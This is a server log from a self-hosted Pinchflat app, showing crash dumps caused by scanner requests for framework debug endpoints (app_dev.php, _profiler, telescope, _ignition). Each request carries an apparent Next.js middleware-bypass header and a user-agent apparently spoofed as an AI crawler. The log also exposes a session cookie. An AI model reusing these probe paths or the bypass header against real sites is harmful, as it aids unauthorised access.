1 [] 16:49:11.059 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:11.059 [error] #PID<0.29921.0> running PinchflatWeb.Endpoint (connection #PID<0.29920.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /app_dev.php ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /app_dev (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29920.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/app_dev.php", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 35028}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; YouBot/1.0; +https://you.com/bot)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29921.0>, params: %{}, path_info: ["app_dev"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (compatible; YouBot/1.0; +https://you.com/bot)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/app_dev.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61oWm4w0cezsABwwh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29920.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/app_dev.php", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 35028}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; YouBot/1.0; +https://you.com/bot)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /app_dev (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29920.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/app_dev.php", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 35028}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; YouBot/1.0; +https://you.com/bot)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined (truncated) 16:49:11.095 [info] GET /app_dev.php/_profiler 16:49:11.095 [debug] QUERY OK source="settings" db=0.0ms idle=70.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:11.095 [debug] QUERY OK source="settings" db=0.0ms idle=69.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:11.095 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:11.095 [error] #PID<0.29923.0> running PinchflatWeb.Endpoint (connection #PID<0.29922.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /app_dev.php/_profiler ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /app_dev.php/_profiler (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29922.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/app_dev.php/_profiler", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 35038}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; PanguBot/1.0; +https://www.huaweicloud.com/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29923.0>, params: %{}, path_info: ["app_dev.php", "_profiler"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (compatible; PanguBot/1.0; +https://www.huaweicloud.com/)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/app_dev.php/_profiler", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61ofUly2oPtIABwxB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29922.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/app_dev.php/_profiler", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 35038}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; PanguBot/1.0; +https://www.huaweicloud.com/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /app_dev.php/_profiler (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29922.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/app_dev.php/_profiler", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 35038}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; PanguBot/1.0; +https://www.huaweicloud.com/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, pa (truncated) 16:49:11.147 [info] GET /telescope/requests 16:49:11.147 [debug] QUERY OK source="settings" db=0.1ms idle=121.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:11.147 [debug] QUERY OK source="settings" db=0.0ms idle=88.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:11.147 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:11.148 [info] GET /_ignition/health-check 16:49:11.148 [debug] QUERY OK source="settings" db=0.0ms idle=89.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:11.148 [debug] QUERY OK source="settings" db=0.0ms idle=53.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:11.148 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:11.148 [error] #PID<0.29925.0> running PinchflatWeb.Endpoint (connection #PID<0.29924.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /telescope/requests ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /telescope/requests (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29924.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/telescope/requests", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 35054}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; ChatGLM-Spider/1.0; +https://zhipuai.cn/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29925.0>, params: %{}, path_info: ["telescope", "requests"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (compatible; ChatGLM-Spider/1.0; +https://zhipuai.cn/)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/telescope/requests", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61orqy7-HoT8ABwxh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29924.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/telescope/requests", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 35054}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; ChatGLM-Spider/1.0; +https://zhipuai.cn/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /telescope/requests (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29924.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/telescope/requests", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 35054}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; ChatGLM-Spider/1.0; +https://zhipuai.cn/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs (truncated) 16:49:11.148 [error] #PID<0.29927.0> running PinchflatWeb.Endpoint (connection #PID<0.29926.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /_ignition/health-check ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /_ignition/health-check (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29926.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/_ignition/health-check", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 35062}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Qwenbot/1.0; +https://qwen.alibaba.com/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29927.0>, params: %{}, path_info: ["_ignition", "health-check"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (compatible; Qwenbot/1.0; +https://qwen.alibaba.com/)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/_ignition/health-check", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61or9NBj3hDIABMZi"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, 